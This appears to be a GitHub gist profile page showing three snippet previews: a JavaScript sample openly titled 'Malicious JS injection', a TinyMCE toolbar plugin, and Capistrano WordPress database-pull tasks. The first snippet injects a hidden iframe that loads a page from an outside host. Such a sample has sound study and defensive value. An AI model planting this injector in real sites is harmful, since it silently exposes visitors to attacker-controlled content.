Skip to content

Instantly share code, notes, and snippets.

View andyadams's full-sized avatar

Andy Adams andyadams

View GitHub Profile
@andyadams
andyadams / gist:2975029
Created June 22, 2012 20:34
Malicious JS injection
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://pmfslzj.tld.cc/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://pmfslzj.tld.cc/d/404.php?go=1');
f.style.visibility='hidden';
@andyadams
andyadams / editor_plugin.js
Created April 9, 2012 18:36
TinyMCE toggle third row of buttons
init : function( ed, url ) {
ed.onInit.add(function( ed ) {
if ( getUserSetting( 'hidetb', '0' ) == '0' ) {
jQuery( '#content_toolbar3' ).hide();
}
jQuery( '#wp-content-editor-container #content_wp_adv' ).click(function() {
if ( jQuery( '#content_toolbar2' ).is( ':visible' ) ) {
jQuery( '#content_toolbar3' ).show();
} else {
@andyadams
andyadams / gist:2030363
Created March 13, 2012 18:08
Capistrano Pulldown scripts for WordPress database and uploads
desc "Pull a database dump from remote server, drop the local database, then import the dump"
task :pull_database_to_local do
# Build out temporary file name with timestamp for uniqueness
timestamp = get_timestamp
temp_file_name = "database_dump_#{timestamp}"
remote_file_name = remote_mysqldump(temp_file_name)
download(remote_file_name, "/tmp/#{temp_file_name}.sql.gz")